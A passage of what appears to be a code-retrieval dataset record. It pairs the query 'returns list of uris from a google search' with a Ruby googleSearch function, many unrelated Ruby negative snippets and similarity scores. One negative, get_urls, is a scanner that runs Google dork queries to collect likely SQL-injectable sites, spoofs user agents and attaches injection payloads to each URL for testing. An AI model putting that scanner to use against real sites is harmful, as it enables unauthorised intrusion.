element.\n write_a_r(title, font)\n end\n end", "def gprint (text)\n\tprint colorize(colorize(text, \"black\"), \"white_bg\")\nend", "def dluralizer(noun,num)\n if num == 1\n p '#{num} #{noun}'\n elsif num > 1 && noun == \"sheep\"\n p '#{num} #{noun}'\n elsif num > 1 && noun == 'goose'\n p '#{num} geese'\n elsif num > 1 && noun == 'child'\n p '#{num} children'\n elsif num > 1 && noun == 'person'\n p '#{num} people'\n elsif num > 1\n p \"#{num} #{noun}s\"\nend", "def print(title, fingerings, opts={})\n html = title.empty? ? '' : \"<h2>#{title}</h2>\\n\"\n \n fingerings.each do |fingering|\n html += get_element(fingering, opts)\n end\n \n if opts[:inline]\n html\n else \n File.open('chords.html', 'w') do |file|\n file.write html\n end\n puts \"Wrote chords.html\"\n end\n end", "def render_peg(peg)\n if peg == 6\n print \"\\e[47m\\e[30m #{peg} \\e[0m\"\n else\n print \"\\e[4#{peg}m #{peg} \\e[0m\"\n end\n end", "def print_out(print_info)\n line_width = 40\n \n puts print_info[0][0].center(line_width) #we print the title first\n \n print_info[1].each_with_index do |v,i| #we use each_with_index so that we can loop through each element in the sub-arrays\n print \"Chapter #{i + 1}: #{print_info[1][i].ljust(line_width/2)}\" #prints out the prefix \"Chapter#:\" and the names\n print \"Page #{print_info[2][i]}\".rjust(line_width/2) #prints out the \n print \"\\n\"\n end\n \n\nend", "def print *textarray\n create_window unless @win\n show unless @visible\n c = 1\n textarray.each_with_index { |s, i| \n @win.printstring i+@row_offset, c+@col_offset, \"%-*s\" % [@w-(@col_offset*2)-c, s], @color_pair\n }\n @win.wrefresh\n end", "def write_a_p_rich(title, font, ignore_rich_pr) # :nodoc:\n @writer.tag_elements('a:p') do\n # Write the a:pPr element.\n write_a_p_pr_rich(font) unless ignore_rich_pr\n # Write the a:r element.\n write_a_r(title, font)\n end\n end", "def print_top(num)\n 1.upto(num) { |n| puts ('*' * n).center(num) if n.odd?}\nend", "def print_snippet_title(title)\n COLOR.send(:blue, title)\n end", "def home_lessons\n para \"You have no lessons.\", :margin_left => 12, :font => \"Lacuna Regular\"\n end", "def display_board(brd)\n puts green(\"You're #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\")\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def ascii_heading(title_text)\n title = Artii::Base.new :font => 'doom'\n print title.asciify(title_text).colorize(:green) # colours the ascii art.\n space\nend", "def prt\n puts \"Federalist #@fedno\"\n puts \"Title: \" + @title.join(\" \")\n puts \"Publication: \" + @publication.join(\" \")\n puts \"Author: \" + @author.join(\" \")\n \n end", "def p( colsizes, align = nil, padding = 3 )\n\t\t\t\tprint \"#{@color}\"\n\t\t\t\tidx = 0\n\t\t\t\t@cols.each do |item|\n\t\t\t\t\tif align and align[idx] == \"r\"\n\t\t\t\t\t\tprint \" \" * ( colsizes[ idx ] - item.to_s.length_utf8 )\n\t\t\t\t\tend\n\t\t\t\t\tprint item\n\t\t\t\t\tif align==nil or (align and align[idx] == \"l\")\n\t\t\t\t\t\tprint \" \" * ( colsizes[ idx ] - item.to_s.length_utf8 )\n\t\t\t\t\tend\n\t\t\t\t\tprint \" \"*padding if idx < colsizes.length - 1\n\t\t\t\t\tidx += 1\n\t\t\t\tend\n\t\t\t\tputs \"\\033[0m\"\n\t\t\tend", "def paragraphs(number: 3, supplemental: false)\n [].tap do |paragraphs|\n 1.upto(resolve(number)) do\n paragraphs << paragraph(sentence_count: 3, supplemental: supplemental)\n end\n end\n end", "def compute_page_number_command(header_footer_rules_present, language_code_3_chars)\n if header_footer_rules_present\n # bold, italic, small caps and large font\n \"\\\\textscale{#{ 0.909091 }}{\\\\textbf{\\\\textit{\\\\thepage}}}\"\n else\n # regular\n r = \"{\\\\thepage}\"\n if 'chn' == language_code_3_chars\n r = \"\\\\textbf{#{ r }}\"\n end\n r\n end\n end", "def p(string, text_color = 'cyan') \n string = string.to_s if !string.is_a? String\n puts string.send(text_color)\n end", "def prt(outputFile)\n # puts \"\\nFederalist #@fedno\" + \" Title: #@title\" #used for verification before \n puts \"#@fedno Title: #@title\\nPublication: #@pub\\n\\n\" #exporting to HTML doc\n # puts \"Written by: #@auth\"\n outputFile.puts \"<tr><th>#@fedno</th><th>#@auth</th><th>#@title</th><th>#@pub</th></tr>\"\n end", "def process_text text, color = \"#000000\"\n end", "def printNivel(num)\n\t\tfor i in 1..num\n\t\t\tprint \" \"\n\t\tend\n\tend", "def layout_chapter_title node, title, opts = {}\n puts 'Processing node.id:' + node.id\n puts 'Processing title:' + title\n if title == \"Preface\" or title.include? \"Appendix\"\n move_down 1\n typeset_text title, (calc_line_metrics 1.5), inline_format: true, align: :right, size: 21\n stroke_horizontal_rule '000000', line_width: 0.5, line_style: :solid\n else\n num_chapter, title = title.split '.', 2\n typeset_text num_chapter, (calc_line_metrics 1.5), inline_format: true, align: :right, size: 15\n move_down 1\n stroke_horizontal_rule '000000', line_width: 0.5, line_style: :solid\n typeset_text title, (calc_line_metrics 1.5), inline_format: true, align: :right, size: 21\n end\n move_down 50\n end", "def display document\n page do |io|\n text = document.accept formatter(io)\n io.write text\n end\n end", "def write_a_p_pr_rich(font) # :nodoc:\n @writer.tag_elements('a:pPr') { write_a_def_rpr(font) }\n end", "def write_a_p_pr_rich(font) # :nodoc:\n @writer.tag_elements('a:pPr') { write_a_def_rpr(font) }\n end", "def make_paragraph(title, link)\n paragraph = \"Title: #{title}\\n\"\n paragraph + \"Link: #{link}\\n\\n\"\n end", "def title( text, char )\n print( ( char * 76 ) + \"\\n#{text}\\n\" + ( char * 76 ) + \"\\n\" )\n end", "def print_intro\n border\n print_image\n puts \"\n Welcome to Mastermind, Shitty.0!\\n\".red\n border_bottom\n end", "def justify\n lineWidth = 40\n puts (\"Table of Contents\".center(lineWidth))\n puts (\"Chapter 1: Numbers\".ljust(lineWidth/2) + \"page 1\".rjust(lineWidth/2))\n puts (\"Chapter 2: Letters\".ljust(lineWidth/2) + \"page 72\".rjust(lineWidth/2))\n puts (\"Chapter 3: Variables\".ljust(lineWidth/2) + \"page 118\".rjust(lineWidth/2))\nend", "def pp_text\n \"#{@pp} / #{@ppmax}\"\n end", "def full_pyramide\n\tputs \"salut!bienvenue dans ma super pyramide!combien d'etage veux-tu?\"\n\ti=1 #1 zany n anombohan le i\n\tprint \">\"\n\tn= gets.chomp.to_i #n correspond le nbre de ligne de la pyramide\n\tputs\"voici la pyramide\"\n\tx=n #nbre de depart anle espace\n\tspace=\" \" #mamaritra n espace\n\twhile i<=n do #tant que i est inferieur ou egal n fait\n\tputs ((space * x)+(\"#\" * (i*2-1))) #rehefa te hahazo chiffre impaire de (i*2-1)\n\tx-=1\n\ti+=1\n\tend\nend", "def paragraph_by_chars(number: T.unsafe(nil), supplemental: T.unsafe(nil)); end", "def display_e(num)\n Kernel.puts(\"=> Exercise \\##{num}:\")\nend", "def print_hitnumdist(io, run)\n\n io.puts \"<h3>hit number distributions</h3>\"\n io.puts \"<div style=\\\"text-align: center;\\\">\"\n\n io.puts \"<table>\"\n (1..4).each { |row|\n io.puts \" <tr>\"\n (1..6).each { |col|\n ch = 48 + 6*(row-1) + (col-1)\n io.puts \" <td><a href=\\\"fig/#{run}/lehit#{ch}.gif\\\"><img src=\\\"fig/#{run}/thumb/lehit#{ch}.gif\\\" alt='' /></a></td>\"\n }\n io.puts \" </tr>\" \n }\n io.puts \"</table>\" \n\n io.puts \"<table>\"\n (1..$mod).each { |row|\n io.puts \" <tr>\"\n (1..$pad).each { |col|\n ch = $off + $pad*(row-1) + (col-1)\n io.puts \" <td><a href=\\\"fig/#{run}/tehit#{ch}.gif\\\"><img src=\\\"fig/#{run}/thumb/tehit#{ch}.gif\\\" alt='' /></a></td>\"\n }\n io.puts \" </tr>\" \n }\n io.puts \"</table>\" \n\n io.puts \"</div>\"\n\nend", "def headline_chapter(input)\n $headline_chapter_counting_from += 1\n style = {:upper_space => $headline_chapter_upper_space,\n :font_variable => $headline_chapter_font,\n :font_size_variable => $headline_chapter_text_size,\n :font_style => $headline_chapter_font_style\n }\n indent = \"\\xC2\\xA0\" * $headline_chapter_indent\n print_out(style, \"#{indent}#{$headline_chapter_counting_from}. #{input}\".rjust(10))\nend", "def print_bbcode(no_page = 0)\n @pages[no_page].print_bbcode\n end", "def print_line(height, num)\n result = \" \" * (height - num)\n num.times do\n result += \"* \"\n end\n puts result\nend", "def setPageNr(typePlusID) \n len = @page.css(typePlusID).css('li').length\n for i in 0..len-1 do \n titleName = @page.css(typePlusID).css('li')[i].css('span')[0].text\n correctPage = getPageNrForTitle(titleName)\n pageSpan = @page.css(typePlusID).css('li')[i].css('span')[1]\n pageSpan.content = correctPage.to_i - 1\n end\nend", "def elefantes(num)\n for i in 1..num\n p \"#{i} elefante se columpiaba sobre la tela de una araña, como veía que resistía fueron a llamar a otro elefante.\"\n end\nend", "def get_info(w)\n\trequire 'open-uri'\n\tparagraph = []\n\tcontents = open('http://en.wikipedia.org/wiki/' + w) {|f| \n\t\tf.readlines.each {|x| \n\t\t\tif x =~ /<p>(.*)<\\/p>/\n\t\t\tparagraph.push($1)\n\t\t\tend\n\t}}\n\n\t# If a file name was passed in to be stored somewhere\n\t# Otherwise, Temp.doc will be created and modified\n\tif(ARGV[0] != nil)\n\t\tfile = File.open(ARGV[0], 'a')\n\telse\n\t\tfile = File.open(\"Temp.doc\", 'a')\n\tend\n\n\t# Writes to file what is being searched for\n\tfile.write(w.upcase + \":\\n\")\n\n\t# Uses regular expression to grab first two paragraph\n\tparagraph.each {|p| paragraph(p,file)}\n\t\n\tfile.write(\"\\n\")\n\tfile.close\nend", "def display document\n page do |io|\n f = formatter(io)\n f.width = @width if @width and f.respond_to?(:width)\n text = document.accept f\n\n io.write text\n end\n end", "def display_story(x,y)\n\tputs \"On the story called #{x} you rated #{y} out of 10\"\nend", "def essay_writer(title, name, major_accomplishment, year_of_accomplishment, thesis, pronoun)\n\tputs \"Final Assignment Essay:\\n #{title}\n\t\\n\n\t#{year_of_accomplishment} was the year of #{name}. #{major_accomplishment},\n\tdoes that ring a bell? That was all thanks to #{name}. #{thesis} \n\t\\n\n\tMuch more could be said of #{name}, but I believe in brevity. #{pronoun.capitalize} is somebody worth remembering. \n\t\"\n\t\nend", "def layout_part_title node, title, opts = {}\n puts 'Processing node.id:' + node.id\n puts 'Processing title:' + title\n num_part, title = title.split ':', 2\n move_down 150\n typeset_text num_part + \"\\n\" + title, (calc_line_metrics 1.5), inline_format: true, align: :center\n end", "def homework(title, topic, date, thesis_statement, pronoun)\n\tparagraph = \"#{title}/n The #{topic} was an interesting topic. It happened in #{date}. \n\tI feel that #{topic} was a very important part of #{date} because \n\t#{pronoun}. #{thesis_statement}. This is what made #{topic} really \n\tinteresting part of #{date} and an important part of history.\"\n\treturn paragraph\nend", "def disp(text)\n FXDCWindow.new(@image) do |dc|\n text.split(' ').each do |cmd|\n cmd = cmd.split(',')\n if cmd.first == 'L'\n dc.foreground = @colors[cmd[1]].to_i\n dc.drawLine(cmd[2].to_i, cmd[3].to_i + 1, cmd[4].to_i, cmd[5].to_i + 1)\n end\n end\n end\n board_draw\n end", "def print_colors\n 1.upto(@board.number_of_pegs) { |i| print \"#{i} = \" + \" \".color(COLORS[i]) + \" \" }\n print \": \"\n end", "def display_name\n pastel = Pastel.new\n font = TTY::Font.new(:doom)\n puts pastel.green(\"You have encountered\")\n puts pastel.red(font.write(\"DRACO THE TERRIBLE\"))\n end", "def top(number)\n 1.upto(number) { |count| puts ('*' * count).center(number) if count.odd? }\nend", "def print(text,align=0,raw=false)\n draw_internal(text,align,false,raw)\n reposition_lines\n end", "def display_commandes\n puts <<-EOT\n\n(Taper 'aide' pour obtenir de l'aide)\n\n EOT\n end", "def display_commandes\n puts <<-EOT\n\n(Taper 'aide' pour obtenir de l'aide)\n\n EOT\n end", "def render pad, lineno, text\n if @hash\n dim = match_line text\n fg = dim.first\n bg = dim[1] || @default_colors[1]\n if dim.size == 3\n att = dim.last\n else\n att = @default_colors.last\n end\n cp = get_color($datacolor, fg, bg)\n else\n cp = @pair\n att = @default_colors[2]\n end\n\n FFI::NCurses.wattron(pad,FFI::NCurses.COLOR_PAIR(cp) | att)\n FFI::NCurses.mvwaddstr(pad, lineno, 0, text)\n FFI::NCurses.wattroff(pad,FFI::NCurses.COLOR_PAIR(cp) | att)\n end", "def write_breaking(text, x, y, width, mode = :left, color = 0, alpha = 0xff, z_index = 0)\n color = (alpha << 24) | color\n text.split(\"\\n\").each do |p|\n if mode == :justified\n y = write_paragraph_justified p, x, y, width, color, z_index\n else\n rel =\n case mode\n when :left then 0\n when :center then 0.5\n when :right then 1\n else 0\n end\n y = write_paragraph p, x, y, width, rel, color, z_index\n end\n end\n end", "def titleSlide()\n=begin \n print \"\\n-------------------------------------------------------------------------\\n\"\n print $titleSlideFont.write(\"Console Light Show\")\n print \"\\nA program for Joshua Bruce\\nWritten with love by Robert Leslie\\n\"\n print \"---------------------------------------------------------------------------\\n\"\n=end\n titleSlideFont = TTY::Font.new(:standard)\n titleBox = TTY::Box.frame(\n width: TTY::Screen.width-1,\n height: 15,\n border: :thick,\n align: :center,\n padding: 1\n )do\n \"#{titleSlideFont.write(\"Console Light Show\")}\n \\nA program for Joshua Bruce\\nWritten with love by Robert Leslie\\n2019\"\n end\n print titleBox\n menu()\nend", "def showPrimeNumber(num)\nprint \"\\nPrime Numbers Upto #{num} Is:\\n\"\n for i in 2..num\n if isPrime(i) then\n print i,\" \"\n end\n end\nprint \"\\n\"\nend", "def putsi(text, n = 1)\n puts idt(n) + text\n end", "def draw\n $code.each { |color| print \"[ #{Rainbow(\"o\").background(color)} ] \" }\n puts \"\\n\\n\"\n end" ]
[ "0.57774705", "0.57359457", "0.57242054", "0.56784844", "0.56662875", "0.5664254", "0.5614964", "0.55788887", "0.5556479", "0.55162376", "0.55161834", "0.5494357", "0.5483319", "0.54402363", "0.5412794", "0.54030675", "0.5401995", "0.53697616", "0.5349648", "0.5344584", "0.5334744", "0.53334373", "0.5311181", "0.52753484", "0.5257315", "0.52279323", "0.5226655", "0.5211236", "0.5207893", "0.5196193", "0.51921535", "0.5183778", "0.51771456", "0.5166054", "0.51641357", "0.5161189", "0.5143716", "0.51300305", "0.50887567", "0.5083843", "0.5083843", "0.5067251", "0.505041", "0.5049874", "0.50399816", "0.5037201", "0.50225556", "0.5019014", "0.5012185", "0.5010211", "0.50097764", "0.50042254", "0.5001262", "0.49670494", "0.49622113", "0.49368432", "0.49325296", "0.49320236", "0.4923239", "0.4920901", "0.49200517", "0.491922", "0.4916387", "0.4909471", "0.49086413", "0.49021542", "0.48930374", "0.48930374", "0.489141", "0.48864534", "0.48815745", "0.4877218", "0.48701444", "0.48679125", "0.48632652", "0.48504823", "0.48328108", "0.4825478", "0.48230222", "0.48184863", "0.48140323", "0.48085293", "0.4804922", "0.48027852", "0.4800137", "0.47911742", "0.47845355", "0.47682768", "0.47674936", "0.47669673", "0.47548887", "0.47546437", "0.47545725", "0.4747977", "0.4747977", "0.47441778", "0.47439435", "0.47411498", "0.4736901", "0.47283462", "0.47268686" ]
0.0
-1
returns list of uris from a google search
def googleSearch(q, n = 5) search = Google::Search::Web.new do |search| search.query = q search.size = :small end begin uris = search.first(n).map(&:uri) rescue "uri fault" end return uris end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_urls(search_results)\n # A Google search_result looks like:\n # <a href=\"/url?q=https://www.scienceexchange.com/\">Science Exchange<b>...</b></a>\n # To get the actual page URL, use the 'href' and get the query param 'q' term.\n urls = []\n search_results.each do |result|\n url = result['href']\n query = URI.parse(url).query\n result_url = CGI.parse(query)['q'].first\n result_url = url if result_url.nil?\n urls << result_url\n end\n return urls\n end", "def get_google_links\n linkarray = []\n @links = @links.each do |link|\n if (link.scan(\"http://\").length == 2)\n linkarray.push(link)\n end\n end\n return linkarray\n end", "def get_urls( search_url )\n urls = []\n result_json = parse_json( search_url )\n result_json['items'].each do |item|\n urls << item['url']\n end\n\n return urls\nend", "def external_search_urls\n {\n Google_Maps: \"https://maps.google.com/maps?q=\",\n Google_Search: \"https://www.google.com/search?q=\",\n Wikipedia: \"https://en.wikipedia.org/w/index.php?search=\"\n }.freeze\n end", "def google_search(query, sitelink)\n s = Google::Search::Web.new\n s.query = \"#{query}\" + \" site:#{sitelink}\"\n s.get_response\n end", "def get_urls(proxy=nil)\n query = SETTINGS.extract_query!\n payloads = SETTINGS.create_payloads(PAYLOAD_TEMPLATE_PATH)\n File.read(\"#{QUERY_BLACKLIST_PATH}\").each_line do |black| # check if the search query is black listed\n if query == black\n FORMAT.warning(\"Query: #{query} is blacklisted, defaulting to random query\")\n query = File.readlines(\"#{PATH}/lib/lists/search_query.txt\").sample # Retry if it is\n end\n end\n\n FORMAT.info(\"I'm searching for possible SQL vulnerable sites, using search query #{query.chomp}\")\n agent = Mechanize.new\n if proxy\n agent.set_proxy(proxy.split(\":\").first, proxy.split(\":\").last) # Set your proxy if used\n end\n correct_agent = SETTINGS.random_agent?\n agent.user_agent = correct_agent\n\n correct_agent == DEFAULT_USER_AGENT ? FORMAT.info(\"Using default user agent\") :\n FORMAT.info(\"Grabbed random agent from #{RAND_AGENT_PATH}\")\n\n google_page = agent.get(\"http://google.com\")\n google_form = google_page.form('f')\n\n FORMAT.info(\"Verifying search query...\")\n unless SETTINGS.test_query(query, correct_agent, proxy)\n query = File.readlines(\"#{PATH}/lib/lists/search_query.txt\").sample\n LOGGER.info(\"Query changed to: #{query}\")\n end\n\n google_form.q = \"#{query}\" # Search Google for the query\n url = agent.submit(google_form, google_form.buttons.first)\n\n url.links.each do |link|\n if link.href.to_s =~ /url.q/ # Pull the links from the search\n str = link.href.to_s\n str_list = str.split(%r{=|&})\n urls = str_list[1]\n if urls.split(\"/\")[2].start_with?(*SKIP) # Skip all the bad URLs\n next\n end\n urls_to_log = URI.decode(urls)\n FORMAT.success(\"Site found: #{urls_to_log}\")\n sleep(0.3)\n payloads.each { |payload|\n File.open(\"#{SITES_TO_CHECK_PATH}\", \"a+\") { |to_check| to_check.puts(\"#{urls_to_log}#{payload}\")}\n }\n end\n end\n FORMAT.info(\"I've dumped possible vulnerable sites into #{SITES_TO_CHECK_PATH}\")\n end", "def scrape\n google_url = create_google_url\n google_data = Scrubyt::Extractor.define do\n fetch google_url\n\n link_title \"//a[@class='l']\", :write_text => true do\n link_url\n end\n end\n google_data.to_hash.map {|r| r[:link_url]}\n end", "def searches\n Boundary.get(@url)\n end", "def get_listing_URLs_from_search_html(search_html)\r\n raise NotImplementedError\r\n end", "def search_get_url(user_input)\n fetch_json_from_url(GOOGLE_API_SEARCH_URL + user_input.to_s)\n end", "def urls\n @gapi.source_uris\n end", "def google(query)\n url = \"http://www.google.com/search?q=#{CGI.escape(query)}\"\n res = Nokogiri::HTML(open(url)).at(\"h3.r\")\n\n title = res.text\n link = res.at('a')[:href]\n desc = res.at(\"./following::div\").children.first.text \nrescue \n \"No results found\"\nelse\n CGI.unescape_html \"#{title} - #{desc} (#{link})\"\nend", "def google(query)\n # API key, engine id, and uri to make API call\n key = CSE_API_KEY\n # \"AIzaSyDpp4azZVRsBYgmjAqSI-Z-PIZG8FI-hfw\"\n engine_id = CSE_ENGINE_ID\n # \"011724650152002634172:r-e9bq2ubda\"\n uri = URI(\"https://www.googleapis.com/customsearch/v1?cx=#{engine_id}&q=#{query}&key=#{key}\")\n\n # GET request\n request = Net::HTTP::Get.new(uri)\n\n # Receive response\n res = Net::HTTP.get_response(uri)\n\n # Parse JSON file and converts to hash\n json = JSON.parse(res.body)\n items = json['items']\n\n # Iterate through JSON/items array and print each index\n i = 0\n loop do\n puts (i+1).to_s + \" -- \" + items[i]['title']\n # puts items[i]['link'] # url\n # puts items[i]['snippet'] # snippet of article\n i += 1\n if i == items.length\n break\n end\n end\n end", "def search\n http, request = frame_request @keyword\n\n # Getting response from YouTube\n response = http.request(request)\n\n # Parsing for serialization of the response\n json_response = JSON.parse(response.body)\n\n # Any mishaps inside the code-block will return an empty array.\n begin\n json_response['feed']['entry'].map{ |rsp| \n rsp['media$group']['media$content'].first.send(:[],'url')\n }\n rescue\n []\n end\n end", "def search_results\n GoogleSearchResults.instance\n end", "def build_google_search_url\n\t'https://www.google.com/search?q='+ARGV.to_a.join('+')\nend", "def google_image_search(query)\n google_results = JSON.parse(open(\"http://ajax.googleapis.com/ajax/services/search/images?v=1.0&rsz=8&q=#{query}\").read)\n google_results['responseData']['results'][rand(8).floor]['unescapedUrl']\n end", "def research_sites(search_str)\n search_sites = link_to \"Google\", 'http://www.google.com/search?q=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Yahoo\", 'http://search.yahoo.com/search?p=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Technorati\", 'http://www.technorati.com/search' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Wikipedia\", 'http://en.wikipedia.org/w/wiki.phtml?search=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"del.icio.us\", 'http://del.icio.us/search/?all=' + search_str, :target => '_blank'\n end", "def urls\n @urls ||= extract_urls('url')\n end", "def getCountries(url)\n page = Nokogiri::HTML(RestClient.get(url))\n rawLinks = page.css(\"li a\")\n selection = []\n for link in rawLinks\n if link[\"href\"].include? \"country\"\n selection.push [link.text.strip, \"#{url}#{link[\"href\"]}\"]\n end\n end\n return selection\nend", "def get_urls(page)\n doc = Nokogiri::XML(open_url(page))\n urls = []\n\n doc.search('nodes > node').each do |node|\n url = nil\n node.search('URL').each do |t|\n url = t.inner_text\n end\n if url\n urls << url\n end\n end\n\n urls\n end", "def google_listing(client)\n notify \"Run Google Listing..\"\n escaped_path = @fields[:path]\n decoded_path = CGI::unescape(escaped_path)\n # this result is in hash format\n result = client.listing_path(decoded_path)\n return result\n end", "def search\n url = @@url\n url.query = Addressable::URI.form_encode(\n 'v' => '1.0',\n 'q' => (@args[:site]) ? @query + \" site:#{ @args[:site] }\" : @query ,\n 'key' => @google_api_key,\n 'userip' => @ip_number\n )\n results = JSON.parse(open(url, 'Referer' => @referrer_site).read) rescue {}\n \n @response_details = results['responseDetails'] # => nil,\n @response_status = results['responseStatus' ] # => 200\n \n @cursor = Cursor.new(results['responseData']['cursor'])\n \n results['responseData']['results']\n end", "def all_urls\n urls = NG_URL.all.collect {|n| n.url}\n urls.sort!\n end", "def gets_urls\n page = Nokogiri::HTML(URI.open('http://www2.assemblee-nationale.fr/deputes/liste/alphabetique'))\n urls = []\n\n page.css('div.col-container > ul > li > a').each do |fetch|\n urls.push('http://www2.assemblee-nationale.fr' + fetch['href'])\n end\n\n urls\nend", "def retrieve_links(search_service, site, page)\n term = search_service.and_query(\"site:#{site}\", name, page)\n result = extract_first_result(search_service, query_bing(search_service, term))\n unless (result.nil? || result.url.nil?)\n enhance_with_bing(page, result)\n end\n end", "def googleNewsSearch(name, mins = 720)\n\n type = \"\"\n theRep = Rep.all\n puts \"THE REP! : #{theRep}\"\n if Rep.where(name: name)[0].json.index(\"senate\") != nil\n type = \"Sen\"\n else\n type = \"Rep\"\n end\n\n # fix the name -- so if there is 'ç' or some weird\n # character like that, it turns into 'c'\n name = ActiveSupport::Inflector.transliterate(name)\n query = \"%22#{type} #{name}%22\"\n query.gsub!(\" \", \"%20\")\n\n link = \"https://www.google.com/search?q=#{query}&tbm=nws&tbs=qdr:n#{mins}\"\n file = open(link)\n document = Nokogiri::HTML(file)\n puts document.class\n titles = document.css('h3 > a')\n urls = document.css('h3 > a')\n excerpts = document.css('.st')\n dates = document.css('div.slp > span.f')\n\n\n\n articles = []\n for i in 0..(titles.length - 1)\n article_info = {}\n article_info[\"title\"] = cleanString(titles[i].text)\n article_info['url'] = cleanUrl(urls[i].attr('href'))\n article_info['excerpt'] = cleanString(excerpts[i].text)\n article_info['date'] = cleanDate(dates[i].text)\n articles << article_info\n end\n\n return articles\nend", "def get_search_url(verses)\n url = PASSAGES_API + '?&q[]=' + CGI.escape(verses.join(','))\n return url \nend", "def get_search_url(verses)\n url = PASSAGES_API + '?&q[]=' + CGI.escape(verses.join(','))\n return url \nend", "def urls\n (url.split(\",\") rescue []) + [cran_url]\n end", "def urls\n each_url.to_set\n end", "def all_urls_external\n ngurls = NG_URL.all(:a_hrefs_external => { :$not => { :$size => 0}})\n urls_external = []\n ngurls.each {|n| urls_external += n.a_hrefs_external }\n urls_external.uniq!.sort!\n end", "def initialize(url, options)\n @results = []\n @suggestions = []\n @synonyms = []\n @keymatches = []\n \n # ask the google mini for search results\n response = Search.get(url)\n puts response.inspect\n # results\n if response['GSP'].has_key?('RES')\n if response['GSP']['RES']['R'].kind_of?(Array)\n response['GSP']['RES']['R'].map{ |res| @results << Result.new(res) }\n else\n @results << Result.new(response['GSP']['RES']['R'])\n end\n end\n \n # suggestions\n if response['GSP'].has_key?('Spelling')\n if response['GSP']['Spelling'].kind_of?(Array)\n response['GSP']['Spelling'].map{ |sp| sp.map{ |k, v| @suggestions << v } }\n else\n response['GSP']['Spelling'].map{ |k,v| @suggestions << v }\n end\n end\n \n # synonyms\n if response['GSP'].has_key?('Synonyms')\n if response['GSP']['Synonyms']['OneSynonym'].kind_of?(Array)\n response['GSP']['Synonyms']['OneSynonym'].map{ |synonym| @synonyms << synonym }\n else\n response['GSP']['Synonyms'].map{ |k,v| @synonyms << v }\n end\n end\n \n # keymatches\n if response['GSP'].has_key?('GM')\n if response['GSP']['GM'].kind_of?(Array)\n response['GSP']['GM'].each do |gm|\n @keymatches << Keymatch.new(gm)\n end\n else\n @keymatches << Keymatch.new(response['GSP']['GM'])\n end\n end\n \n end", "def city_list(url)\n\troot = Nokogiri::HTML(open(url))\n list = root.css(\"a\").map do |link|\n\n\t\t# This makes sure that we only store actual links, then stores the text & link for each valid link in an array.\n\n if link[:href] =~ /http/ \n [link.text, link[:href]] \n end \n end\n\n\t# This cleans up the array and gets rid of nil elements\n\n\tlist = list.reject {|x| x.nil?} \n\t\t\n\t## Here we have various sections of CL that we can search in for various gigs. \n\t## If you wanted to see more software development stuff, you may search in /sof and /eng\n\t\n\t\t\n\t# list.map! {|f,l| [f, l + \"/cpg/\"]}\n\t# list.map! {|f,l| [f, l + \"/web/\"]}\n\tlist.map! {|f,l| [f, l + \"/web/\", l + \"/cpg/\"]}\t\n\t# list.map! {|f,l| [f, l + \"/web/\", l + \"/cpg/\", l + \"/eng/\", l + \"/sof/\", l + \"/sad/\"]}\n\t\nend", "def fetch_json_from_url(url_of_search)\n Net::HTTP.get(URI.parse(url_of_search))\n end", "def chrome_search(search, limit=5)\n searchword = \"%#{search}%\"\n urls = Url.where(\"title LIKE :search\", {:search => searchword})\n\n # get newest hit\n time_urls = Array.new\n urls.each do |u|\n time = 0\n u.visits.each do |v|\n vtime = v.visit_time.to_i\n time = vtime if time < vtime\n end\n time_urls << [time, u.title, u.url]\n end\n\n # get most recent hits\n time_urls.sort! {|x, y| y[0] <=> x[0]}\n return time_urls[0..limit-1].map {|x| [ \"GC: #{x[1]}\", x[2]] }\nend", "def fetch(url)\n response = RestClient.get(url)\n data = JSON.parse(response)\n @google_results = data[\"results\"].first(15).map do |result|\n {\n name: result[\"name\"],\n address: result[\"formatted_address\"],\n coordinates: {\n latitude: result[\"geometry\"][\"location\"][\"lat\"],\n longitude: result[\"geometry\"][\"location\"][\"lng\"]\n },\n opening_hours: result[\"opening_hours\"],\n type: result[\"types\"].first,\n rating: result[\"rating\"]\n }\n end\n @google_results\n end", "def return_links_array(doc)\n links = doc.css(\".search-content .teaser-item__title a\")\n recipe_links = []\n links.each do |element|\n recipe_links << \"https://www.bbcgoodfood.com\" + element.attribute('href').value\n end\n return recipe_links\n end", "def urls\n info.map(&:value).select { |u| u.match %r{\\Ahttps?://} }\n end", "def get_all_the_urls_of_val_doise_townhalls(page_url)\n doc = Nokogiri::HTML(open(page_url))\n urls = []\n#on recupere le css a[class=lientxt]\n get_urls = doc.css(\"a[class=lientxt]\")\n get_urls.each{|link| urls.push(\"http://annuaire-des-mairies.com\"+link['href'][1...link['href'].length])}\n urls\nend", "def urls(text)\n scan(text, URL, :url)\n end", "def find_links(url)\n # This should return an array of all links at the given URL\nend", "def search(search_string)\n GoogleAjax::Search.web(search_string)[:results]\n end", "def links\n response = Clever.request :get, url\n response[:links]\n end", "def get_all_the_urls_of_val_doise_townhalls\n\n\n page1 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\")) #ouvre la page ciblée\n $get_llinks = page1.css('a[href*=\"95\"]').map{|link| link[\"href\"]} #definie un array \"get_llinks\" cible la balise avec href 95 et prend toutes les fin d'url\n\n\nend", "def get_all_the_urls_of_val_doise_townhalls\n\n\n page1 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\")) #ouvre la page ciblée\n $get_llinks = page1.css('a[href*=\"95\"]').map{|link| link[\"href\"]} #definie un array \"get_llinks\" cible la balise avec href 95 et prend toutes les fin d'url\n\n\nend", "def strip_google_tracking_links(doc)\n doc.css(\"a\").each do |node|\n href = node.attr(\"href\").to_s\n next if href.blank?\n\n query_string = URI.parse(href).query\n actual_url = Rack::Utils.parse_nested_query(query_string)[\"q\"]\n\n node[\"href\"] = actual_url\n end\n end", "def google_sitemap\n\t\t@urls = []\n\t\t# 1. 305 - Redirected 